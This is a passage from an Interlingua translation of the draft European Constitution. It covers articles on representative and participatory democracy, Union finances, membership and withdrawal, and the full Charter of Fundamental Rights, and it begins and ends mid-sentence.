equalitate democratic\nIn tote su activitates le Union respecta le principio del equalitate de su citatanos qui gaude de un equal attention de su institutiones, organos e organismos.ARTICULO I-46\nPrincipio del democratia representative\n1. Le functionamento del Union se basa super le principio del democratia representative.\n2. Le citatanos es directemente representate, al nivello del Union, in le Parlamento Europee. Le Statos membros es representate in le Consilio Europee per lor chef de Stato o de Governamento, e in le Consilio per lor governamentos, que es democraticamente responsabile, sia ante lor parlamentos national, sia ante lor citatanos.\n3. Tote citatano ha le derecto de participar in le vita democratic del Union. Le decisiones es prendite in le forma le plus aperte e le plus proxime al citatanos.\n4. Le partitos politic al nivello europee contribue al formation del conscientia politic europee e al expression del voluntate del citatanos del Union.ARTICULO I-47\nPrincipio del democratia participative\n1. Le institutiones del Union da al citatanos e al associationes representative, per le vias appropriate, le possibilitate de exprimer e de intercambiar publicamente lor opiniones in tote le dominios de action del Union.\n2. Le institutiones mantene un dialogo aperte, transparente e regular con le associationes representative e le societate civil.\n3. In vista de garantir le coherentia e le transparentia del actiones del Union, le Commission mantene ample consultationes con le partes interessate.\n4. Un gruppo de al minus un million de citatanos del Union, qui debe esser citatanos de un numero significative de Statos membros, pote prender le initiativa de invitar le Commission, in le quadro de su attributiones, a submitter un proposition appropriate re questiones del quales iste citatanos considera que un acto juridic del Union es necessari pro le fines del application del Constitution. Le lege europee establi le dispositiones relative al proceduras e conditiones requirite pro le presentation de un tal initiativa citatan, includite le numero minime de Statos membros del quales debe provenir le citatanos qui lo presenta.ARTICULO I-48\nPartners social e dialogo social autonome\nLe Union Europee recognosce e promove le rolo del partners social a su nivello, ponderante le diversitate del systemas national. Le Union facilita le dialogo inter illos, intra le limites de lor autonomia. Le culmine social tripartite pro le crescimento e le empleo contribue al dialogo social.ARTICULO I-49\nLe Mediator Europee\nUn Mediator Europee, appunctate per le Parlamento Europee, recipe, examina e reporta le reclamationes relative a casos de mal administration in le actiones del institutiones, organos o organismos del Union sub le conditiones mentionate in le Constitution. Le Mediator europee exerce su functiones in total independentia.ARTICULO I-50\nTransparentia del labores del institutiones, organos e organismos del Union\n1. A fin de promover un bon governamento e de garantir le participation del societate civil, le institutiones, organos e organismos del Union opera con le major respecto possibile al principio de apertura.\n2. Le sessiones del Parlamento Europee, assi como del Consilio, es public quando illos delibera e vota re un proposition de acto legislative.\n3. Cata citatano del Union, e cata persona physic o juridic residente o habente su sede statutari in un Stato membro, dispone, sub le conditiones mentionate in le Parte III, de un derecto de accesso al documentos del institutiones, organos e organismos del Union, qualcunque pote esser lor supporto.\nLe lege europee fixa le principios general e limites que regula, per motivos de interesse public o private, le exercitio del derecto de accesso a tal documentos.\n4. Cata institution, organo o organismo establi in su regulamento interior dispositiones specific concernente le accesso a su documentos, in conformitate con le lege europee mentionate in le paragrapho 3.ARTICULO I-51\nProtection de datos personal\n1. Tote persona ha derecto al protection del datos personal que le concerne.\n2. Le lege o lege-quadro europee establi le regulas relative al protection del persona physic concernente le tractamento de datos personal per le institutiones, organos e organismos del Union, assi como per le Statos membros in le exercitio del activitates comprehendite in le dominio de application del Derecto del Union, e relative al libere circulation de iste datos. Le respecto de iste regulas es submittite al controlo de autoritates independente.ARTICULO I-52\nStatuto del ecclesias e del organisationes non-confessional\n1. Le Union respecta e non prejudica le statuto recognoscite in le Statos membros, in virtute del Derecto national, pro le ecclesias e le associationes o communitates religiose.\n2. Le Union respecta equalmente le statuto del organisationes philosophic e non-confessional.\n3. Recognoscente lor identitate e lor contribution specific, le Union mantene un dialogo aperte, transparente e regular con iste ecclesias e organisationes.\nTITULO VII\nFINANCIAS DEL UNION\nARTICULO I-53\nPrincipios budgetari e financiari\n1. Tote le receptas e le dispensas del Union debe esser le objecto de previsiones pro cata exercitio budgetari annual e esser inscribite in le budget del Union in conformitate con le Parte III.\n2. Le budget debe esser equilibrate quanto a receptas e dispensas.\n3. Le dispensas inscribite in le budget es autorisate pro le periodo del exercitio budgetari annual in conformitate con le lege europee mentionate in le articulo III-412.\n4. Le execution de dispensas inscribite in le budget require le adoption previe de un acto juridicamente obligatori del Union que da un fundamento juridic a su action e al execution del correspondente dispensa in conformitate con le lege europee mentionate in le articulo III-412, salvo le exceptiones que iste lege establi.\n5. Pro garantir le disciplina budgetari, le Union non adopta actos susceptibile de haber incidentias considerabile in le budget sin garantir que le proposition o le procedura pote esser financiate intra le limite del ressources proprie del Union e in le respecto del quadro financiari pluriannual mentionate in le articulo I-55.\n6. Le budget es executate in conformitate con le principio de bon gestion financiari. Le Statos membros e le Union coopera a fin que le creditos inscribite in le budget se utilisa conformemente con iste principio.\n7. Le Union e le Statos membros, in conformitate con le articulo III-415, combatte le fraude e qualcunque altere activitate illegal que affecta le interesses financiari del Union.ARTICULO I-54\nRessources proprie del Union\n1. Le Union se dota del medios necessari pro obtener su objectivos e pro finalisar su politicas.\n2. Le budget del Union es financiate integremente per ressources proprie, sin prejudicio del altere receptas.\n3. Un lege europee del Consilio fixa le dispositiones applicabile al systema de ressources proprie del Union. In iste contexto il es possibile establir nove categorias de ressources o supprimer un categoria existente. Le Consilio decide per unanimitate, post consultation del Parlamento Europee. Iste lege entra in vigor solmente post su approbation per le Statos membros in conformitate con lor respective regulas constitutional.\n4. Un lege europee del Consilio fixa le dispositiones de application del systema de ressources proprie del Union a mesura que illo es mentionate in le lege europee adoptate conformemente con le paragrapho 3. Le Consilio decide post approbation del Parlamento Europee.ARTICULO I-55\nQuadro financiari pluriannual\n1. Le quadro financiari pluriannual ha pro objecto garantir le evolution ordinate del dispensas del Union intra le limite de su ressources proprie. Illo fixa le amontas del limites maxime annual del creditos pro ingagiamentos per categorias de dispensas, conformemente con le articulo III-402.\n2. Un lege europee del Consilio fixa le quadro financiari pluriannual. Le Consilio decide per unanimitate, post approbation del Parlamento Europee, que decide per majoritate del membros que lo compone.\n3. Le budget annual del Union respecta le quadro financiari pluriannual.\n4. Le Consilio Europee pote, per unanimitate, adoptar un decision europee autorisante le Consilio a decider per majoritate qualificate quando illo adopta le lege europee del Consilio mentionate in le paragrapho 2.ARTICULO I-56\nBudget del Union\nLe lege europee establi le Budget annual del Union in conformitate con le articulo III-404.\nTITULO VIII\nLE UNION E SU VICINITATE PROXIME\nARTICULO I-57\nLe Union e su vicinitate proxime\n1. Le Union disveloppa con le Statos vicin relationes preferential, con le objectivo de establir un spatio de prosperitate e de bon vicinitate basate super le valores del Union e characterisate per relationes stricte e pacific basate super le cooperation.\n2. Pro le fines del paragrapho 1, le Union pote concluder accordos specific con le paises concernite. Iste accordos pote includer derectos e obligationes reciproc e le possibilitate de realisar activitates commun. Lor application es submittite a un concertation periodic.\nTITULO IX\nMEMBRATO DEL UNION\nARTICULO I-58\nCriterios de membrato e procedura de adhesion al Union\n1. Le Union es aperte pro tote le Statos europee que respecta le valores mentionate in le articulo I-2 e se ingagia a promover los in commun.\n2. Tote Stato europee que desira devenir membro del Union dirige su requesta al Consilio. Le Parlamento Europee e le Parlamentos national del Statos membros es informate de iste requesta. Le Consilio decide per unanimitate, post haber consultate le Commission e post approbation del Parlamento Europee que decide per majoritate del membros que lo compone. Le conditiones e le procedura del admission es establite per un accordo inter le Statos membros e le Stato candidato. Iste accordo es submittite a ratification per tote le Statos contractante, secundo lor proprie regulas constitutional respective.ARTICULO I-59\nSuspension de certe derectos del membrato del Union\n1. Le Consilio, per initiativa motivate per un tertio del Statos membros, per initiativa motivate per le Parlamento Europee o per proposition del Commission, pote adoptar un decision europee constatante le existentia de un risco clar de violation grave per un Stato membro del valores mentionate in le articulo I-2. Le Consilio decide per majoritate del quatro quintos de su membros, post approbation del Parlamento Europee.\nAnte de proceder a iste constatation, le Consilio audi le Stato membro in question e pote, secundo le mesme procedura, diriger recommendationes a illo.\nLe Consilio verifica regularmente si le motivos que ha conducite a un tal constatation resta valide.\n2. Le Consilio Europee, per initiativa de un tertio del Statos membros o per un proposition del Commission, pote adoptar un decision europee constatante le existentia de un violation grave e persistente del valores mentionate in le articulo I-2 per un Stato membro, post haber invitate iste Stato membro a presentar su observationes in le materia. Le Consilio Europee decide per unanimitate, post approbation del Parlamento Europee.\n3. Quando ha essite facite le constatation mentionate in le paragrapho 2, le Consilio pote, per majoritate qualificate, adoptar un decision europee que suspende certe derectos derivate del application del Constitution al Stato membro in question, includite le derecto de voto del membro in le Consilio qui representa iste Stato. Le Consilio tene conto del possibile consequentias de un tal suspension pro le derectos e obligationes del personas physic e juridic.\nIn qualcunque caso, iste Stato resta ligate per le obligationes que incumbe a illo in le Constitution.\n4. Le Consilio pote adoptar posteriormente, per majoritate qualificate, un decision europee que modifica o deroga le mesuras adoptate in conformitate con le paragrapho 3 como responsa a cambios in le situation, que lo ha motivate a imponer iste mesuras.\n5. Pro le fines del presente articulo, le membro del Consilio Europee o del Consilio representante le Stato membro in question non participa in le votation e le Stato membro in question non es tenite in conto in le calculo del tertie parte o del quatro quintos del Statos membros mentionate in le paragraphos 1 e 2. Le abstention de membros presente o representate non impedi le adoption del decisiones europee mentionate in le paragrapho 2.\nPro le adoption de decisiones europee mentionate in le paragraphos 3 e 4, le majoritate qualificate se defini como al minus 72% del membros del Consilio que representa le Statos membros participante que reuni al minus 65% del population de iste Statos.\nQuando, post un decision de suspension del derecto de voto adoptate in conformitate con le paragrapho 3, le Consilio prende decision, per majoritate qualificate, super le base de un del dispositiones del Constitution, iste majoritate qualificate se defini del mesme maniera como in le paragrapho 2 o, si le Consilio age per proposition del Commission o del Ministro de Affaires Exterior del Union, como al minus 55% del membros del Consilio que representa le Statos membros participante que reuni al minus 65% del population de iste Statos. In iste ultime caso, un minoritate de blocada debe includer al minus le numero minime de membros del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro; sin iste minoritate de blocada, le majoritate qualificate se considera obtenite.\n6. Pro le fines del presente articulo, le Parlamento Europee decide per majoritate del duo tertios del votos exprimite, lo que representa le majoritate del membros que lo compone.ARTICULO I-60\nDisdicimento voluntari ex le Union\n1. Tote Stato membro pote decider, in conformitate con su regulas constitutional, retirar se ex le Union.\n2. Le Stato membro que decide retirar se notifica su intention al Consilio Europee. Al luce del orientationes del Consilio Europee, le Union negotia e conclude con iste Stato membro un accordo que regula le forma de su disdicimento, ponderante le quadro de su relationes futur con le Union. Iste accordo es negotiate in conformitate con le articulo III-325(3). Le Consilio lo conclude in le nomine del Union per majoritate qualificate, post approbation del Parlamento Europee.\n3. Le Constitution cessa de esser applicabile al Stato membro in question ab le data de entrata in vigor del accordo de disdicimento o, si un tal data non es fixate, duo annos post le notification mentionate in le paragrapho 2, salvo si le Consilio Europee, in accordo con le Stato membro in question, decide per unanimitate prorogar iste termino.\n4. Pro le fines del paragraphos 2 e 3, le membro del Consilio Europee e del Consilio que representa le Stato membro que se disdice, participa ni in le deliberationes ni in le decisiones europee del Consilio Europee o del Consilio que lo concerne.\nLe majoritate qualificate se defini como al minus 72% del membros del Consilio que representa Statos membros participante que reuni al minus 65% del population de iste Statos.\n5. Si le Stato membro que se ha disdicite ex le Union sollicita de novo le adhesion, su requesta es submittite al procedura mentionate in le articulo I-58.\nPARTE II\nCHARTA DEL DERECTOS FUNDAMENTAL DEL UNION\nPREAMBULO\nLe populos de Europa, creante inter se un union sempre plus stricte, ha decidite compartir un futuro pacific basate super valores commun.\nConsciente de su patrimonio spiritual e moral, le Union es fundate super le valores indivisibile e universal de dignitate human, de libertate, de equalitate e de solidaritate. Le Union se basa super le principios del democratia e del Stato de Derecto. Per instituer le citatanitate del Union e per crear un spatio de libertate, de securitate e de justitia, le Union situa le persona in le centro de su activitates.\nLe Union contribue al preservation e al disveloppamento de iste valores commun intra le respecto del diversitate del culturas e del traditiones del populos de Europa, e equalmente del identitate national del Statos membros e del organisation de lor poteres public al nivellos national, regional e local; le Union se effortia de promover un disveloppamento equilibrate e durabile e garanti le libere circulation de personas, de servicios, de mercantias e de capitales, assi como le libertate de establimento.\nPro iste fin il es necessari, per render los plus visibile in un Charta, reinfortiar le protection del derectos fundamental al luce del evolution del societate, del progresso social e del disveloppamentos scientific e technologic.\nLe presente Charta reaffirma, respectante le competentias e missiones del Union, assi como le principio de subsidiaritate, le derectos recognoscite specialmente per le traditiones constitutional e le obligationes international commun del Statos membros, le Pacto Europee pro le Protection del Derectos Human e del Libertates Fundamental, le Chartas Social adoptate per le Union e per le Consilio Europee, assi como per le jurisprudentia del Tribunal de Justitia del Union Europee e del Tribunal Europee del Derectos Human. In iste contexto, le organos jurisdictional del Union e del Statos membros interpretara le Charta prendente debitemente in consideration le explicationes establite sub le autoritate del Praesidium del Convention que preparava le Charta e actualisate sub le responsabilitate del Praesidium del Convention Europee.\nLe fruition de iste derectos comporta responsabilitates e debitos tanto con respecto al alteres como con respecto al communitate human e futur generationes.\nIn consequentia, le Union recognosce le derectos, le libertates e le principios mentionate in lo que seque.\nTITULO I\nDIGNITATE\nARTICULO II-61\nDignitate human\nLe dignitate human es inviolabile. Illo debe esser respectate e protegite.ARTICULO II-62\nDerecto al vita\n1. Tote persona ha derecto al vita.\n2. Necuno pote esser condemnate al sententia de morte ni executate.ARTICULO II-63\nDerecto al integritate del persona\n1. Tote persona ha derecto al integritate physic e mental.\n2. In le campo del medicina e del biologia on respecta in particular:\na) le consentimento libere e informate del persona concernite, secundo le modalitates establite in le lege;\nb) le prohibition del practicas eugenic, in particular le practicas que ha pro scopo le selection del personas;\nc) le prohibition de facer del corpore human e su partes, como tales, un fonte de lucro;\nd) le prohibition del clonation reproductive de esseres human.ARTICULO II-64\nProhibition del tortura e del penas inhuman o degradante o del tractamentos inhuman o degradante\nNecuno pote esser submittite a tortura ni a penas o tractamentos inhuman o degradante.ARTICULO II-65\nProhibition del sclavitude e del labor fortiate\n1. Necuno pote esser submittite a sclavitude o a servitude.\n2. Necuno pote esser constringite a facer un labor fortiate o obligatori.\n3. Le commercio de esseres human es prohibite.\nTITULO II\nLIBERTATES\nARTICULO II-66\nDerecto al libertate e al securitate\nTote persona ha le derecto al libertate e al securitate.ARTICULO II-67\nRespecto del vita private e familial\nTote persona ha le derecto al respecto de su vita private e familial, de su domicilio e de su communicationes.ARTICULO II-68\nProtection de datos de character personal\n1. Tote persona ha le derecto al protection del datos de character personal que le concerne.\n2. Iste datos debe esser tractate loyalmente, pro fines concrete e super le base del consentimento del persona concernite o in virtute de un altere fundamento legitime previste per le lege. Tote persona ha le derecto a acceder al datos recolligite que le concerne e ille ha derecto a su rectification.\n3. Le respecto de iste regulas es subjecte al controlo de un autoritate independente.ARTICULO II-69\nDerecto de contraher matrimonio e derecto a fundar un familia\nLe derecto de maritar se e le derecto a fundar un familia es garantite secundo le leges national que regula su exercitio.ARTICULO II-70\nLibertate de pensamento, de conscientia e de religion\n1. Tote persona ha le derecto al libertate de pensamento, de conscientia e de religion. Iste derecto implica le libertate de cambiar de religion o de convictiones, assi como le libertate de manifestar su religion o su convictiones individual- o collectivemente, in publico o in privato, per le culto, le inseniamento, le practicas e le observantia del ritos.\n2. Le derecto al objection de conscientia es recognoscite secundo le leges national que regula su exercitio.ARTICULO II-71\nLibertate de expression e de information\n1. Tote persona ha le derecto al libertate de expression. Iste derecto include le libertate de opinion e le libertate de reciper o de communicar informationes o ideas sin que il pote haber ingerentia de autoritates public e sin consideration de frontieras.\n2. Le libertate de medios de communication e lor pluralismo es respectate.ARTICULO II-72\nLibertate de reunion e de association\n1. Tote persona ha le derecto al libertate de reunion pacific e al libertate de association in tote le nivellos, specialmente in le dominios politic, syndical e civic, lo que implica le derecto de tote persona de fundar con altere personas syndicatos e de affiliar se a illos pro le defensa de su interesses.\n2. Le partitos politic al nivello del Union contribue al expression del voluntate politic del citatanos del Union.ARTICULO II-73\nLibertate del artes e del scientias\nLe artes e le recerca scientific es libere. On respecta le libertate academic.ARTICULO II-74\nDerecto al education\n1. Tote persona ha le derecto al education e al accesso a formation professional e continue.\n2. Iste derecto include le facultate de reciper gratuitemente le inseniamento obligatori.\n3. Es respectate, secundo le leges national que regula lor exercitio, le libertate de creation de institutiones educational intra le respecto del principios democratic, assi como le derecto del parentes de garantir le education e le inseniamento de lor infantes in conformitate con lor convictiones religiose, philosophic e pedagogic.ARTICULO II-75\nLibertate professional e derecto de laborar\n1. Tote persona ha le derecto de laborar e de exercer un profession liberemente eligite o acceptate.\n2. Tote citatano del Union ha le libertate de cercar un empleo, de laborar, de establir se o de prestar servicios in qualcunque Stato membro.\n3. Le citatanos de tertie paises, qui es autorisate a laborar in le territorio del Statos membros, ha le derecto de conditiones de labor equivalente a illos del citatanos del Union.ARTICULO II-76\nLibertate de interprisa\nOn recognosce le libertate de interprisa in conformitate con le Derecto del Union e con le legislationes e practicas national.ARTICULO II-77\nDerecto de proprietate\n1. Tote persona ha le derecto de fruer del proprietate de su benes acquirite legalmente, de usar los, de disponer de illos e de legar los. Necuno pote esser private de su proprietate si non pro causa de interesse public, in le casos e conditiones previste per un lege e, intra un tempore rationabile, con un juste indemnisation a causa de su perdita. Le uso del benes pote esser regulate per le lege in le mesura necessari pro le interesse general.\n2. Es protegite le proprietate intellectual.ARTICULO II-78\nDerecto de asylo\nEs garantite le derecto de asylo intra le respecto del regulas del Convention de Genève del 28 de julio 1951 e del Protocollo del 31 de januario 1967 relative al Statuto del Refugiatos e in conformitate con le Constitution.ARTICULO II-79\nProtection in caso de transferimento, de expulsion e de extradition\n1. Es prohibite le expulsiones collective.\n2. Necuno pote esser transferite, expulsate o extradite a un Stato in le qual le persona curre un risco seriose de esser submittite al pena de morte, al tortura o a altere penas o tractamentos inhuman o degradante.\nTITULO III\nEQUALITATE\nARTICULO II-80\nEqualitate ante le lege\nTote le personas es equal ante le lege.ARTICULO II-81\nNon-discrimination\n1. Es prohibite tote discrimination fundate in particular super le sexo, le racia, le color, le origines ethnic o social, le characteristicas genetic, le lingua, le religion o le convictiones, le opiniones politic o de qualcunque altere typo, le appertinentia a un minoritate national, le fortuna, le nascentia, un handicap, le etate o le orientation sexual.\n2. In le dominio de application del Constitution e sin prejudicio de su dispositiones particular, tote discrimination exercite pro rationes del nationalitate es prohibite.ARTICULO II-82\nDiversitate cultural, religiose e linguistic\nLe Union respecta le diversitate cultural, religiose e linguistic.ARTICULO II-83\nEqualitate inter feminas e viros\nLe equalitate inter feminas e viros debe esser garantite in tote le dominios, includite super le terreno del empleo, del labor e del remuneration. Le principio de legalitate non impedi le mantenimento o le adoption de mesuras que da avantages specific in favor del sexo sub-representate.ARTICULO II-84\nDerectos del infante\n1. Le infantes ha le derecto del protection e del curas necessari pro lor benesser. Illes pote exprimer lor opinion liberemente. Isto es a prender in consideration pro le subjectos que les concerne, in function de lor etate e de lor maturitate.\n2. In tote le actos relative al infantes, sia illo exequite per autoritates public o per institutiones private, le interesse superior del infante constitue un consideration primordial.\n3. Tote infante ha le derecto de mantener regularmente relationes personal e contactos directe con su patre e con su matre, salvo si illo es contrari a su interesse.ARTICULO II-85\nDerectos del personas de etate avantiate\nLe Union recognosce e respecta le derecto del personas de etate avantiate de haber un vita digne e independente e de participar in le vita social e cultural.ARTICULO II-86\nIntegration del personas handicapate\nLe Union recognosce e respecta le derecto del personas handicapate de beneficiar de mesuras que garanti lor autonomia, lor integration social e professional e lor participation in le vita del communitate.\nTITULO IV\nSOLIDARITATE\nARTICULO II-87\nDerecto al information e al consultation del laboratores in le interprisa\nOn debe garantir al laboratores o a lor representantes, al nivellos appropriate, un information e un consultation con sufficiente anticipation in le casos e conditiones mentionate in le Derecto del Union e in le legislationes e practicas national.ARTICULO II-88\nDerectos de negotiation e de actiones collective\nLe laboratores e le empleatores, o lor organisationes respective, in conformitate con le Derecto del Union e con le legislationes e practicas national, ha le derecto a negotiar e concluder conventiones collective, al nivellos appropriate, e de recurrer, in caso de conflicto de interesses, a actiones collective pro le defensa de lor interesses, includite le exopero.ARTICULO II-89\nDerecto de accesso al servicios de placiamento\nTote persona ha le derecto a acceder a un servicio gratuite de placiamento.ARTICULO II-90\nProtection in caso de dimission injustificate\nTote laborator ha le derecto a un protection in caso de dimission injustificate, conformemente con le Derecto del Union e al legislationes e practicas national.ARTICULO II-91\nConditiones de labor juste e equitabile\n1. Tote laborator ha le derecto a laborar sub conditiones que respecta su sanitate, su securitate e su dignitate.\n2. Tote laborator ha le derecto al limitation del duration maxime del labor e a periodos de reposo quotidian e septimanal, assi como a un periodo de vacationes annual pagate.ARTICULO II-92\nProhibition del labor infantil e protection del juvenes in le labor\nLe labor infantil es prohibite. Le etate minime de admission al labor non pote esser inferior al etate in le qual cessa le periodo de scholaritate obligatori, sin prejudicio del dispositiones plus favorabile pro le juvenes e salvo exceptiones limitate.\nLe juvenes admittite pro laborar debe disponer de conditiones de labor adaptate a lor etate e esser protegite contra le exploitation economic o contra qualcunque labor que pote esser prejudicial pro lor securitate, lor sanitate, lor disveloppamento physic, moral o social o que pote poner in periculo lor education.ARTICULO II-93\nVita familial e vita professional\n1. Le protection del familia es garantite super le planos juridic, economic e social.\n2. Con le fin de poter conciliar vita familial e vita professional, tote persona ha le derecto a esser protegite contra qualcunque dimission pro un causa relationate con le maternitate, assi como le derecto a un permission pagate pro maternitate e a un permission prenatal causate del nascentia o del adoption de un infante.ARTICULO II-94\nSecuritate social e adjuta social\n1. Le Union recognosce e respecta le derecto de accesso al prestationes de securitate social e al servicios social que garanti un protection in casos como le maternitate, le maladia, le accidentes del labor, le dependentia o le vetulessa, assi como in caso de perdita de empleo, secundo le modalitates establite per le Derecto del Union e le legislationes e practicas national.\n2. Tote persona qui reside e se displacia legalmente intra le Union ha le derecto al prestationes de securitate social e al avantages social conforme con le Derecto del Union e con le legislationes e practicas national.\n3. Con le fin de combatter le exclusion social e le povressa, le Union recognosce e respecta le derecto a un adjuta social e a un adjuta al habitation pro garantir un existentia digne a totes qui non dispone de ressources sufficiente, secundo le modalitates establite per le Derecto del Union e le legislationes e practicas national.ARTICULO II-95\nProtection del sanitate\nTote persona ha le derecto a acceder al prevention sanitari e de profitar del attention medical al conditiones establite per le legislationes e practicas national. Un alte nivello de protection del sanitate human es garantite, quando se defini e executa tote le politicas e actiones del Union.ARTICULO II-96\nAccesso al servicios de interesse economic general\nLe Union recognosce e respecta le accesso al servicios de interesse economic general, tal que le legislationes e practicas national dispone, in conformitate con le Constitution, con le fin de promover le cohesion social e territorial del Union.ARTICULO II-97\nProtection del ambiente\nLe politicas del Union integra e garanti, conformemente con le principio de disveloppamento durabile, un alte nivello de protection del ambiente e le melioration de su qualitate.ARTICULO II-98\nProtection del consumitores\nLe politicas del Union garanti un alte nivello de protection del consumitores in le Union.\nTITULO V\nCITATANITATE\nARTICULO II-99\nDerecto de voto e de eligibilitate in le electiones al Parlamento Europee\n1. Tote citatano del Union ha le derecto de voto e de eligibilitate in le electiones al Parlamento Europee in le Stato membro in le qual ille reside, al mesme conditiones como le citatanos de iste Stato.\n2. Le deputatos del Parlamento Europee es eligite per suffragio universal directe, libere e secrete.ARTICULO II-100\nDerecto de voto e de eligibilitate in le electiones municipal\nTote citatano del Union ha le derecto de voto e de eligibilitate in le electiones municipal del Stato membro in que ille reside, al mesme conditiones como le citatanos de iste Stato.ARTICULO II-101\nDerecto a un bon administration\n1. Tote persona ha le derecto a vider que le institutiones, organos e organismos del Union tracta su affaires impartial- e justemente e intra un periodo rationabile.\n2. Iste derecto include in particular:\na) le derecto de tote persona a esser audite ante que un mesura individual que le affectarea disfavorabilemente, es prendite contra ille;\nb) le derecto de tote persona a acceder al dossier que le concerne, intra le respecto del interesses legitime del confidentialitate e del secreto professional e commercial;\nc) le obligation pro le administration de motivar su decisiones.\n3. Tote persona ha le derecto al reparation per le Union del damnos causate per su institutiones o per su agentes in le exercitio de lor functiones, in conformitate con le principios general commun del Derectos del Statos membros.\n4. Tote persona pote diriger se al institutiones del Union in un del linguas del Constitution e debe reciper un responsa in iste mesme lingua.ARTICULO II-102\nDerecto de accesso al documentos\nTote citatano del Union assi como tote persona physic o juridic residente o habente su sede statutari in un Stato membro ha un derecto de accesso al documentos del institutiones, organos e organismos del Union, qualcunque pote esser lor supporto.ARTICULO II-103\nLe Mediator Europee\nTote citatano del Union assi como tote persona physic o juridic residente o habente su sede statutari in un Stato membro ha le derecto de submitter al Mediator Europee le casos de mal administration in le action del institutiones, organos o organismos del Union, con exclusion del Tribunal de Justitia Europee in le exercitio de su functiones jurisdictional.ARTICULO II-104\nDerecto de petition\nTote citatano del Union assi como tote persona physic o juridic residente o habente su sede statutari in un Stato membro ha le derecto de Petition ante le Parlamento Europee.ARTICULO II-105\nLibertate de circulation e de residentia\n1. Tote citatano del Union ha le derecto de circular e resider liberemente in le territorio del Statos membros.\n2. Conformemente con le Constitution on pote conceder libertate de circulation e de residentia al citatanos de tertie paises residente legalmente in le territorio de un Stato membro.ARTICULO II-106\nProtection diplomatic e consular\nTote citatano del Union ha le derecto, in le territorio de un tertie pais in le qual non es representate le Stato membro del qual ille es citatano, al protection del autoritates diplomatic e consular de tote Stato membro, al mesme conditiones como le citatanos de iste Stato.\nTITULO VI\nJUSTITIA\nARTICULO II-107\nDerecto al recurso judicial effective e a un tribunal impartial\nTote persona, cuje derectos e libertates garantite per le Derecto del Union ha essite violate, ha le derecto a un recurso effective ante un tribunal in respecto al conditiones establite in le presente articulo. Tote persona ha le derecto que su causa debe esser audite equitabile- e publicamente e intra un periodo rationabile per un tribunal independente e impartial, establite previemente per le lege. Tote persona ha le possibilitate de facer se consiliar, defender e representar. On presta assistentia juridic gratuite a personas qui non dispone de ressources sufficiente si isto es necessari pro garantir le effectivitate del accesso al justitia.ARTICULO II-108\nPresumption de innocentia e derectos del defensa\n1. Tote accusato es presumite innocente usque su culpabilitate ha essite legalmente establite.\n2. Es garantite a tote accusato le respecto del derectos de defensa.ARTICULO II-109\nPrincipios de legalitate e de proportionalitate del delictos e del penas\n1. Necuno pote esser condemnate pro un action o un omission que, in le momento in le qual illo ha essite committite, non constitueva un infraction secundo le Derecto national o le Derecto international. Equalmente, non pote esser imponite un pena plus grave que le pena applicate in le momento in le qual le infraction ha essite committite. Si, posteriormente a iste infraction, le lege impone un pena plus legier, iste lege debe esser applicate.\n2. Le presente articulo non impedi le judicio e le punition de un persona culpabile de un action o de un omission que, in le momento in le qual illo ha essite committite, esseva criminal secundo le principios general recognoscite per le insimul del nationes.\n3. Le intensitate del penas non debe esser disproportionate in relation con le infraction.ARTICULO II-110\nDerecto a non esser judicate o condemnate penalmente duo vices pro un mesme delicto\nNecuno pote esser accusate o condemnate penalmente pro un infraction pro le qual ille ha jam essite absolvite o condemnate in le Union per un sententia penal definitive conformemente con le lege.\nTITULO VII\nDISPOSITIONES GENERAL APPLICABILE AL INTERPRETATION E APPLICATION DEL CHARTA\nARTICULO II-111\nCampo de application\n1. Le dispositiones del presente Charta es dirigite al institutiones, organos e organismos del Union, respectante le principio de subsidiaritate, assi como al Statos membros unicamente quando illos applica le Derecto del Union. Consequentemente, illos respecta le derectos, observa le principios e promove lor application, conformemente con lor respective competentias e intra le limites del competentias que on attribue al Union in le altere partes del Constitution.\n2. Le presente Charta non amplia le campo de application del Derecto del Union ultra le competentias del Union, ni crea alcun competentia o carga nove pro le Union, ni modifica le competentias e cargas definite in le altere partes del Constitution.ARTICULO II-112\nCampo de application e interpretation del derectos e principios\n1. Tote limitation del exercitio del derectos e libertates recognoscite per le presente Charta debe esser establite per le lege e respectar le contento essential de iste derectos e libertates. Limitationes pote esser introducite, respectante le principio de proportionalitate, solmente quando illos es necessari e responde effectivemente a objectivos de interesses general recognoscite per le Union o al necessitate de protection del derectos e libertates de alteres.\n2. Le derectos recognoscite per le presente Charta, que es mentionate in altere partes del Constitution, se exerce al conditiones e intra le limites determinate in iste partes.\n3. In le mesura que le presente Charta contine derectos que corresponde al derectos garantite per le Convention Europee pro le Protection del Derectos Human e del Libertates Fundamental, lor senso e lor campo de application es equal a illos que confere iste Convention. Iste disposition non impedi que le Derectos del Union concede un protection plus extense.\n4. In le mesura que le presente Charta recognosce derectos fundamental resultante del traditiones constitutional commun del Statos membros, iste derectos debe esser interpretate in harmonia con iste traditiones.\n5. Le dispositiones del presente Charta que contine principios pote esser effectuate per actos legislative e executive adoptate per le institutiones, organos e organismos del Union, e per actos del Statos membros quando illos applica le Derecto del Union, in le exercitio de lor competentias respective. Lor invocation ante le judice es admittite solmente pro le interpretation e le controlo del legalitate de tal actos.\n6. Le legislation e le practicas national debe esser prendite plenmente in consideration como specificate in le presente Charta.\n7. Le explicationes elaborate pro guidar le interpretation del Charta del derectos fundamental es debitemente considerate per le jurisdictiones del Union e del Statos membros.ARTICULO II-113\nNivello de protection\nNecun disposition del presente Charta pote esser interpretate como limitative o ledente le derectos human e libertates fundamental recognoscite, in lor respective campo de application, per le Derecto del Union, le Derecto international e le conventiones international del quales es parte le Union o tote le Statos membros, e in particular le Convention Europee pro le Protection del Derectos del Homine e del Libertates Fundamental, assi como per le constitutiones del Statos membros.ARTICULO II-114\nProhibition del abuso de derecto\nNecun disposition del presente Charta pote esser interpretate como implicante un derecto qualcunque de dedicar se a un activitate o de realisar un acto tendente al destruction del derectos o libertates recognoscite in le presente Charta o a limitationes plus ample de iste derectos e libertates que mentionate in le presente Charta.\nPARTE III\nPOLITICAS E FUNCTIONAMENTO DEL UNION\nTITULO I\nDISPOSITIONES DE APPLICATION GENERAL\nARTICULO III-115\nLe Union velia le coherentia inter le differente politicas e actiones mentionate in le presente Parte, considerante le insimul de su objectivos e conformante se al principio de attribution de competentias.ARTICULO III-116\nIn tote le actiones mentionate in le presente Parte, le Union cerca a eliminar le inequalitates inter femina e viro e a promover lor equalitate.ARTICULO III-117\nIn le definition e execution del politicas e actiones mentionate in le presente Parte, le Union considera le exigentias ligate al promotion de un nivello elevate de empleo, al garantia de un protection social adequate, al lucta contra le exclusion social e a un nivello elevate de education, de formation e de protection del sanitate 